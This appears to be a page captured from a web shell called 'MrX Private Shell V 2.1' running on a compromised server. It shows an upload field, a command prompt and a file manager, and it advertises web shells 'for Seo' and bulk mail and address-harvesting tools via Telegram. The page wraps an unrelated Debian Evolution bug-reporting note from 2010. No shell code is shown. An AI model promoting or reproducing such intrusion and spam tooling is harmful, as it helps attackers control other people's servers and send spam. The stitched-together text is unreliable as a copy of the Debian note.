__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
= Bug reporting and evolution

Unfortunately, due to lack of time and manpower, the Evolution “team” is not
able to handle upstream issues, and those should be reported directly to
upstream on https://bugzilla.gnome.org.

Basically, that involves all stuff not related to packaging and Debian
integration. That means that, usually, crashes, enhancements requests etc.
should be submitted there. After doing that, you can open a bug on Debian BTS
and link it to the upstream bug using the “forwarded” keyword.

When submitting crashes bugs, always include backtraces (inline ine the GNOME
bugzilla) with all the relevant debugging packages (especially evolution-dbg,
all the libe*-dbg, libgtkhtml*-dbg). More information on backtraces can be
found at http://wiki.debian.org/HowToGetABacktrace

-- Yves-Alexis Perez <[email protected]>  Thu, 17 Jun 2010 08:02:03 +0200

Filemanager

Name Type Size Permission Actions
presubj File 875 B 0644
Filemanager